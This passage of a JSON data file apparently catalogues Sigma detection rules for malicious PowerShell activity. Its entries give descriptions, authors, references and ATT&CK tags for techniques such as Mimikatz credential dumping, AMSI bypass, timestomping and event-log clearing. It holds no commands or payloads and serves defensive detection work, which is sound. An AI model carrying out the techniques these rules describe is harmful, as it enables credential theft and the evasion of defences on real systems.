      "uuid": "96c982fe-3d08-4df4-bed2-eb14e02f21c8",
      "value": "Get-ADUser Enumeration Using UserAccountControl Flags"
    },
    {
      "description": "Adversaries may abuse the Windows Task Scheduler to perform task scheduling for initial or recurring execution of malicious code",
      "meta": {
        "author": "frack113",
        "creation_date": "2021/12/28",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "posh_ps_cmdlet_scheduled_task.yml",
        "level": "medium",
        "logsource.category": "ps_script",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1053.005/T1053.005.md#atomic-test-6---wmi-invoke-cimmethod-scheduled-task",
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1053.005/T1053.005.md#atomic-test-4---powershell-cmdlet-scheduled-task",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_cmdlet_scheduled_task.yml"
        ],
        "tags": [
          "attack.persistence",
          "attack.t1053.005"
        ]
      },
      "related": [
        {
          "dest-uuid": "005a06c6-14bf-4118-afa0-ebcd8aebb0c9",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "363eccc0-279a-4ccf-a3ab-24c2e63b11fb",
      "value": "Powershell Create Scheduled Task"
    },
    {
      "description": "Adversaries may modify file time attributes to hide new or changes to existing files.\nTimestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder.\n",
      "meta": {
        "author": "frack113",
        "creation_date": "2021/08/03",
        "falsepositive": [
          "Legitimate admin script"
        ],
        "filename": "posh_ps_timestomp.yml",
        "level": "medium",
        "logsource.category": "ps_script",
        "logsource.product": "windows",
        "refs": [
          "https://www.offensive-security.com/metasploit-unleashed/timestomp/",
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1070.006/T1070.006.md",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_timestomp.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1070.006"
        ]
      },
      "related": [
        {
          "dest-uuid": "47f2d673-ca62-47e9-929b-1b0be9657611",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "c6438007-e081-42ce-9483-b067fbef33c3",
      "value": "Powershell Timestomp"
    },
    {
      "description": "Detects the use of PSAttack PowerShell hack tool",
      "meta": {
        "author": "Sean Metcalf (source), Florian Roth (Nextron Systems)",
        "creation_date": "2017/03/05",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "posh_ps_psattack.yml",
        "level": "high",
        "logsource.category": "ps_script",
        "logsource.product": "windows",
        "refs": [
          "https://adsecurity.org/?p=2921",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_psattack.yml"
        ],
        "tags": [
          "attack.execution",
          "attack.t1059.001"
        ]
      },
      "related": [
        {
          "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "b7ec41a4-042c-4f31-a5db-d0fcde9fa5c5",
      "value": "PowerShell PSAttack"
    },
    {
      "description": "Adversaries may carry out malicious operations using a virtual instance to avoid detection",
      "meta": {
        "author": "frack113",
        "creation_date": "2022/04/09",
        "falsepositive": [
          "Legitimate PowerShell scripts"
        ],
        "filename": "posh_ps_susp_hyper_v_condlet.yml",
        "level": "medium",
        "logsource.category": "ps_script",
        "logsource.product": "windows",
        "refs": [
          "https://docs.microsoft.com/en-us/virtualization/hyper-v-on-windows/quick-start/enable-hyper-v",
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1564.006/T1564.006.md#atomic-test-3---create-and-start-hyper-v-virtual-machine",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_hyper_v_condlet.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1564.006"
        ]
      },
      "related": [
        {
          "dest-uuid": "b5327dd1-6bf9-4785-a199-25bcbd1f4a9d",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "42d36aa1-3240-4db0-8257-e0118dcdd9cd",
      "value": "Suspicious Hyper-V Cmdlets"
    },
    {
      "description": "Adversaries may execute their own malicious payloads by hijacking the Registry entries used by services.\nAdversaries may use flaws in the permissions for registry to redirect from the originally specified executable to one that they control, in order to launch their own code at Service start.\nWindows stores local service configuration information in the Registry under HKLM\\SYSTEM\\CurrentControlSet\\Services\n",
      "meta": {
        "author": "frack113",
        "creation_date": "2021/12/30",
        "falsepositive": [
          "Legitimate administrative script"
        ],
        "filename": "posh_ps_get_acl_service.yml",
        "level": "medium",
        "logsource.category": "ps_script",
        "logsource.product": "windows",
        "refs": [
          "https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.security/get-acl?view=powershell-7.2",
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1574.011/T1574.011.md#atomic-test-1---service-registry-permissions-weakness",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_get_acl_service.yml"
        ],
        "tags": [
          "attack.persistence",
          "attack.t1574.011",
          "stp.2a"
        ]
      },
      "related": [
        {
          "dest-uuid": "17cc750b-e95b-4d7d-9dde-49e0de24148c",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "95afc12e-3cbb-40c3-9340-84a032e596a3",
      "value": "Service Registry Permissions Weakness Check"
    },
    {
      "description": "Adversaries may attempt to access or create a copy of the Active Directory domain database in order to steal credential information",
      "meta": {
        "author": "frack113",
        "creation_date": "2022/01/12",
        "falsepositive": [
          "Legitimate PowerShell scripts"
        ],
        "filename": "posh_ps_create_volume_shadow_copy.yml",
        "level": "high",
        "logsource.category": "ps_script",
        "logsource.product": "windows",
        "refs": [
          "https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.management/get-wmiobject?view=powershell-5.1&viewFallbackFrom=powershell-7",
          "https://attack.mitre.org/datasources/DS0005/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_create_volume_shadow_copy.yml"
        ],
        "tags": [
          "attack.credential_access",
          "attack.t1003.003"
        ]
      },
      "related": [
        {
          "dest-uuid": "edf91964-b26e-4b4a-9600-ccacd7d7df24",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "afd12fed-b0ec-45c9-a13d-aa86625dac81",
      "value": "Create Volume Shadow Copy with Powershell"
    },
    {
      "description": "Detects execution of a PowerShell script that contains calls to the \"Veeam.Backup\" class, in order to dump stored credentials.",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2023/05/04",
        "falsepositive": [
          "Administrators backup scripts (must be investigated)"
        ],
        "filename": "posh_ps_veeam_credential_dumping_script.yml",
        "level": "high",
        "logsource.category": "ps_script",
        "logsource.product": "windows",
        "refs": [
          "https://labs.withsecure.com/publications/fin7-target-veeam-servers",
          "https://www.pwndefend.com/2021/02/15/retrieving-passwords-from-veeam-backup-servers/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_veeam_credential_dumping_script.yml"
        ],
        "tags": [
          "attack.credential_access"
        ]
      },
      "uuid": "976d6e6f-a04b-4900-9713-0134a353e38b",
      "value": "Veeam Backup Servers Credential Dumping Script Execution"
    },
    {
      "description": "Adversaries may use Valid Accounts to interact with remote systems using Windows Remote Management (WinRM). The adversary may then perform actions as the logged-on user.",
      "meta": {
        "author": "frack113",
        "creation_date": "2022/01/07",
        "falsepositive": [
          "Legitimate script"
        ],
        "filename": "posh_ps_enable_psremoting.yml",
        "level": "medium",
        "logsource.category": "ps_script",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1021.006/T1021.006.md#atomic-test-1---enable-windows-remote-management",
          "https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/enable-psremoting?view=powershell-7.2",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_enable_psremoting.yml"
        ],
        "tags": [
          "attack.lateral_movement",
          "attack.t1021.006"
        ]
      },
      "related": [
        {
          "dest-uuid": "60d0c01d-e2bf-49dd-a453-f8a9c9fa6f65",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "991a9744-f2f0-44f2-bd33-9092eba17dc3",
      "value": "Enable Windows Remote Management"
    },
    {
      "description": "Detects usage of the powerShell Set-Mailbox Cmdlet to set-up an SMTP forwarding rule.",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2022/10/26",
        "falsepositive": [
          "Legitimate usage of the cmdlet to forward emails"
        ],
        "filename": "posh_ps_exchange_mailbox_smpt_forwarding_rule.yml",
        "level": "medium",
        "logsource.category": "ps_script",
        "logsource.product": "windows",
        "refs": [
          "https://m365internals.com/2022/10/07/hunting-in-on-premises-exchange-server-logs/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_exchange_mailbox_smpt_forwarding_rule.yml"
        ],
        "tags": [
          "attack.exfiltration"
        ]
      },
      "uuid": "15b7abbb-8b40-4d01-9ee2-b51994b1d474",
      "value": "Suspicious PowerShell Mailbox SMTP Forward Rule"
    },
    {
      "description": "Detects usage of known powershell cmdlets such as \"Clear-EventLog\" to clear the Windows event logs",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2022/09/12",
        "falsepositive": [
          "Rare need to clear logs before doing something. Sometimes used by installers or cleaner scripts. The script should be investigated to determine if it's legitimate"
        ],
        "filename": "posh_ps_susp_clear_eventlog.yml",
        "level": "medium",
        "logsource.category": "ps_script",
        "logsource.product": "windows",
        "refs": [
          "https://twitter.com/oroneequalsone/status/1568432028361830402",
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1070.001/T1070.001.md",
          "https://eqllib.readthedocs.io/en/latest/analytics/5b223758-07d6-4100-9e11-238cfdd0fe97.html",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_clear_eventlog.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1070.001"
        ]
      },
      "related": [
        {
          "dest-uuid": "6495ae23-3ab4-43c5-a94f-5638a2c31fd2",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "0f017df3-8f5a-414f-ad6b-24aff1128278",
      "value": "Suspicious Eventlog Clear"
    },
    {
      "description": "Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as\na precursor for Collection and to identify potential systems of interest for Lateral Movement.\nNetworks often contain shared network drives and folders that enable users to access file directories on various systems across a network.\n",
      "meta": {
        "author": "frack113",
        "creation_date": "2021/12/15",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "posh_ps_susp_smb_share_reco.yml",
        "level": "low",
        "logsource.category": "ps_script",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1069.002/T1069.002.md",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_smb_share_reco.yml"
        ],
        "tags": [
          "attack.discovery",
          "attack.t1069.001"
        ]
      },
      "related": [
        {
          "dest-uuid": "a01bf75f-00b2-4568-a58f-565ff9bf202b",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "95f0643a-ed40-467c-806b-aac9542ec5ab",
      "value": "Suspicious Get Information for SMB Share"
    },
    {
      "description": "Detects attempts of decoding a base64 Gzip archive in a PowerShell script. This technique is often used as a method to load malicious content into memory afterward.",
      "meta": {
        "author": "frack113",
        "creation_date": "2022/12/23",
        "falsepositive": [
          "Legitimate administrative script"
        ],
        "filename": "posh_ps_frombase64string_archive.yml",
        "level": "medium",
        "logsource.category": "ps_script",
        "logsource.product": "windows",
        "refs": [
          "https://speakerdeck.com/heirhabarov/hunting-for-powershell-abuse?slide=43",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_frombase64string_archive.yml"
        ],
        "tags": [
          "attack.command_and_control",
          "attack.t1132.001"
        ]
      },
      "related": [
        {
          "dest-uuid": "04fd5427-79c7-44ea-ae13-11b24778ff1c",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "df69cb1d-b891-4cd9-90c7-d617d90100ce",
      "value": "Suspicious FromBase64String Usage On Gzip Archive - Ps Script"
    },
    {
      "description": "Detects Commandlet names from ShellIntel exploitation scripts.",
      "meta": {
        "author": "Max Altgelt (Nextron Systems), Tobias Michalski (Nextron Systems)",
        "creation_date": "2021/08/09",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "posh_ps_shellintel_malicious_commandlets.yml",
        "level": "high",
        "logsource.category": "ps_script",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/Shellntel/scripts/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_shellintel_malicious_commandlets.yml"
        ],
        "tags": [
          "attack.execution",
          "attack.t1059.001"
        ]
      },
      "related": [
        {
          "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "402e1e1d-ad59-47b6-bf80-1ee44985b3a7",
      "value": "Malicious ShellIntel PowerShell Commandlets"
    },
    {
      "description": "Detects known WMI recon method to look for unquoted service paths, often used by pentest inside of powershell scripts attackers enum scripts",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2022/06/20",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "posh_ps_wmi_unquoted_service_search.yml",
        "level": "medium",
        "logsource.category": "ps_script",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/nccgroup/redsnarf/blob/35949b30106ae543dc6f2bc3f1be10c6d9a8d40e/redsnarf.py",
          "https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/",
          "https://github.com/S3cur3Th1sSh1t/Creds/blob/eac23d67f7f90c7fc8e3130587d86158c22aa398/PowershellScripts/jaws-enum.ps1",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_wmi_unquoted_service_search.yml"
        ],
        "tags": [
          "attack.execution",
          "attack.t1047"
        ]
      },
      "related": [
        {
          "dest-uuid": "01a5a209-b94c-450b-b7f9-946497d91055",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "09658312-bc27-4a3b-91c5-e49ab9046d1b",
      "value": "WMIC Unquoted Services Path Lookup - PowerShell"
    },
    {
      "description": "Detects calls to cmdlets inside of PowerShell scripts that are used to export certificates from the local certificate store. Threat actors were seen abusing this to steal private keys from compromised machines.",
      "meta": {
        "author": "Florian Roth (Nextron Systems)",
        "creation_date": "2021/04/23",
        "falsepositive": [
          "Legitimate certificate exports by administrators. Additional filters might be required."
        ],
        "filename": "posh_ps_export_certificate.yml",
        "level": "medium",
        "logsource.category": "ps_script",
        "logsource.product": "windows",
        "refs": [
          "https://www.splunk.com/en_us/blog/security/breaking-the-chain-defending-against-certificate-services-abuse.html",
          "https://docs.microsoft.com/en-us/powershell/module/pki/export-pfxcertificate",
          "https://us-cert.cisa.gov/ncas/analysis-reports/ar21-112a",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_export_certificate.yml"
        ],
        "tags": [
          "attack.credential_access",
          "attack.t1552.004"
        ]
      },
      "related": [
        {
          "dest-uuid": "60b508a1-6a5e-46b1-821a-9f7b78752abf",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "aa7a3fce-bef5-4311-9cc1-5f04bb8c308c",
      "value": "Certificate Exported Via PowerShell - ScriptBlock"
    },
    {
      "description": "Detects PowerShell scripts set ACL to of a file or a folder",
      "meta": {
        "author": "frack113, Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2023/07/18",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "posh_ps_set_acl.yml",
        "level": "low",
        "logsource.category": "ps_script",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/redcanaryco/atomic-red-team/blob/74438b0237d141ee9c99747976447dc884cb1a39/atomics/T1505.005/T1505.005.md",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_set_acl.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1222"
        ]
      },
      "related": [
        {
          "dest-uuid": "65917ae0-b854-4139-83fe-bf2441cf0196",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "cae80281-ef23-44c5-873b-fd48d2666f49",
      "value": "PowerShell Script Change Permission Via Set-Acl - PsScript"
    },
    {
      "description": "Detects code fragments found in small and obfuscated AMSI bypass PowerShell scripts",
      "meta": {
        "author": "Florian Roth (Nextron Systems)",
        "creation_date": "2022/11/09",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "posh_ps_amsi_bypass_pattern_nov22.yml",
        "level": "high",
        "logsource.category": "ps_script",
        "logsource.product": "windows",
        "refs": [
          "https://www.mdsec.co.uk/2018/06/exploring-powershell-amsi-and-logging-evasion/",
          "https://twitter.com/cyb3rops/status/1588574518057979905?s=20&t=A7hh93ONM7ni1Rj1jO5OaA",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_amsi_bypass_pattern_nov22.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1562.001",
          "attack.execution"
        ]
      },
      "related": [
        {
          "dest-uuid": "ac08589e-ee59-4935-8667-d845e38fe579",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "e0d6c087-2d1c-47fd-8799-3904103c5a98",
      "value": "AMSI Bypass Pattern Assembly GetType"
    },
    {
      "description": "Adversaries may abuse container files such as disk image (.iso, .vhd) file formats to deliver malicious payloads that may not be tagged with MOTW.",
      "meta": {
        "author": "frack113",
        "creation_date": "2022/02/01",
        "falsepositive": [
          "Legitimate PowerShell scripts"
        ],
        "filename": "posh_ps_run_from_mount_diskimage.yml",
        "level": "medium",
        "logsource.category": "ps_script",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1553.005/T1553.005.md#atomic-test-2---mount-an-iso-image-and-run-executable-from-the-iso",
          "https://docs.microsoft.com/en-us/powershell/module/storage/mount-diskimage?view=windowsserver2022-ps",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_run_from_mount_diskimage.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1553.005"
        ]
      },
      "related": [
        {
          "dest-uuid": "7e7c2fba-7cca-486c-9582-4c1bb2851961",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "902cedee-0398-4e3a-8183-6f3a89773a96",
      "value": "Suspicious Invoke-Item From Mount-DiskImage"
    },
    {
      "description": "Detects calls to \"get-process\" where the output is piped to a \"where-object\" filter to search for security solution processes.\nAdversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus\n",
      "meta": {
        "author": "frack113, Anish Bogati, Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2021/12/16",
        "falsepositive": [
          "False positives might occur due to the nature of the ScriptBlock being ingested as a big blob. Initial tuning is required.",
          "As the \"selection_cmdlet\" is common in scripts the matching engine might slow down the search. Change into regex or a more accurate string to avoid heavy resource consumption if experienced"
        ],
        "filename": "posh_ps_get_process_security_software_discovery.yml",
        "level": "medium",
        "logsource.category": "ps_script",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1518.001/T1518.001.md#atomic-test-2---security-software-discovery---powershell",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_get_process_security_software_discovery.yml"
        ],
        "tags": [
          "attack.discovery",
          "attack.t1518.001"
        ]
      },
      "related": [
        {
          "dest-uuid": "cba37adb-d6fb-4610-b069-dd04c0643384",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "904e8e61-8edf-4350-b59c-b905fc8e810c",
      "value": "Security Software Discovery Via Powershell Script"
    },
    {
      "description": "Adversaries may target user email on local systems to collect sensitive information.\nFiles containing email data can be acquired from a users local system, such as Outlook storage or cache files.\n",
      "meta": {
        "author": "frack113",
        "creation_date": "2021/07/21",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "posh_ps_susp_mail_acces.yml",
        "level": "medium",
        "logsource.category": "ps_script",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1114.001/T1114.001.md",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_mail_acces.yml"
        ],
        "tags": [
          "attack.collection",
          "attack.t1114.001"
        ]
      },
      "related": [
        {
          "dest-uuid": "1e9eb839-294b-48cc-b0d3-c45555a2a004",
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            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "2837e152-93c8-43d2-85ba-c3cd3c2ae614",
      "value": "Powershell Local Email Collection"
    },
    {
      "description": "Detects the use of PowerShell to identify the current logged user.",
      "meta": {
        "author": "frack113",
        "creation_date": "2022/04/04",
        "falsepositive": [
          "Legitimate PowerShell scripts"
        ],
        "filename": "posh_ps_susp_get_current_user.yml",
        "level": "low",
        "logsource.category": "ps_script",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1033/T1033.md#atomic-test-4---user-discovery-with-env-vars-powershell-script",
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1033/T1033.md#atomic-test-5---getcurrent-user-with-powershell-script",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_get_current_user.yml"
        ],
        "tags": [
          "attack.discovery",
          "attack.t1033"
        ]
      },
      "related": [
        {
          "dest-uuid": "03d7999c-1f4c-42cc-8373-e7690d318104",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "4096a49c-7de4-4da0-a230-c66ccd56ea5a",
      "value": "Suspicious PowerShell Get Current User"
    },
    {
      "description": "Detects usage of the Get-ADUser cmdlet to collect user information and output it to a file",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2022/11/17",
        "falsepositive": [
          "Legitimate admin scripts may use the same technique, it's better to exclude specific computers or users who execute these commands or scripts often"
        ],
        "filename": "posh_ps_user_discovery_get_aduser.yml",
        "level": "medium",
        "logsource.category": "ps_script",
        "logsource.product": "windows",
        "refs": [
          "http://blog.talosintelligence.com/2022/09/lazarus-three-rats.html",
          "https://www.microsoft.com/en-us/security/blog/2022/10/18/defenders-beware-a-case-for-post-ransomware-investigations/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_user_discovery_get_aduser.yml"
        ],
        "tags": [
          "attack.discovery",
          "attack.t1033"
        ]
      },
      "related": [
        {
          "dest-uuid": "03d7999c-1f4c-42cc-8373-e7690d318104",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "c2993223-6da8-4b1a-88ee-668b8bf315e9",
      "value": "User Discovery And Export Via Get-ADUser Cmdlet - PowerShell"
    },
    {
      "description": "An adversary may compress data (e.g., sensitive documents) that is collected prior to exfiltration in order to make it portable and minimize the amount of data sent over the network.",
      "meta": {
        "author": "Timur Zinniatullin, oscd.community",
        "creation_date": "2019/10/21",
        "falsepositive": [
          "Highly likely if archive operations are done via PowerShell."
        ],
        "filename": "posh_ps_data_compressed.yml",
        "level": "low",
        "logsource.category": "ps_script",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1560/T1560.md",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_data_compressed.yml"
        ],
        "tags": [
          "attack.exfiltration",
          "attack.t1560"
        ]
      },
      "related": [
        {
          "dest-uuid": "53ac20cd-aca3-406e-9aa0-9fc7fdc60a5a",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "6dc5d284-69ea-42cf-9311-fb1c3932a69a",
      "value": "Data Compressed - PowerShell"
    },
    {
      "description": "Winlogon.exe is a Windows component responsible for actions at logon/logoff as well as the secure attention sequence (SAS) triggered by Ctrl-Alt-Delete.\nRegistry entries in HKLM\\Software[Wow6432Node]Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\ and HKCU\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\ are\nused to manage additional helper programs and functionalities that support Winlogon. Malicious modifications to these Registry keys may cause Winlogon to\nload and execute malicious DLLs and/or executables.\n",
      "meta": {
        "author": "Timur Zinniatullin, oscd.community",
        "creation_date": "2019/10/21",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "posh_ps_winlogon_helper_dll.yml",
        "level": "medium",
        "logsource.category": "ps_script",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1547.004/T1547.004.md",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_winlogon_helper_dll.yml"
        ],
        "tags": [
          "attack.persistence",
          "attack.t1547.004"
        ]
      },
      "related": [
        {
          "dest-uuid": "6836813e-8ec8-4375-b459-abb388cb1a35",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "851c506b-6b7c-4ce2-8802-c703009d03c0",
      "value": "Winlogon Helper DLL"
    },
    {
      "description": "Detects usage of the \"Set-Service\" powershell cmdlet to configure a new SecurityDescriptor that allows a service to be hidden from other utilities such as \"sc.exe\", \"Get-Service\"...etc. (Works only in powershell 7)",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2022/10/24",
        "falsepositive": [
          "Rare intended use of hidden services",
          "Rare FP could occur due to the non linearity of the ScriptBlockText log"
        ],
        "filename": "posh_ps_susp_service_dacl_modification_set_service.yml",
        "level": "high",
        "logsource.category": "ps_script",
        "logsource.product": "windows",
        "refs": [
          "https://twitter.com/Alh4zr3d/status/1580925761996828672",
          "https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.management/set-service?view=powershell-7.2",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_service_dacl_modification_set_service.yml"
        ],
        "tags": [
          "attack.persistence",
          "attack.defense_evasion",
          "attack.privilege_escalation",
          "attack.t1574.011"
        ]
      },
      "related": [
        {
          "dest-uuid": "17cc750b-e95b-4d7d-9dde-49e0de24148c",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "22d80745-6f2c-46da-826b-77adaededd74",
      "value": "Suspicious Service DACL Modification Via Set-Service Cmdlet - PS"
    },
    {
      "description": "Detects Invoke-Mimikatz PowerShell script and alike. Mimikatz is a credential dumper capable of obtaining plaintext Windows account logins and passwords.",
      "meta": {
        "author": "Tim Rauch",
        "creation_date": "2022/09/28",
        "falsepositive": [
          "Mimikatz can be useful for testing the security of networks"
        ],
        "filename": "posh_ps_potential_invoke_mimikatz.yml",
        "level": "high",
        "logsource.category": "ps_script",
        "logsource.product": "windows",
        "refs": [
          "https://www.elastic.co/guide/en/security/current/potential-invoke-mimikatz-powershell-script.html#potential-invoke-mimikatz-powershell-script",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_potential_invoke_mimikatz.yml"
        ],
        "tags": [
          "attack.credential_access",
          "attack.t1003"
        ]
      },
      "related": [
        {
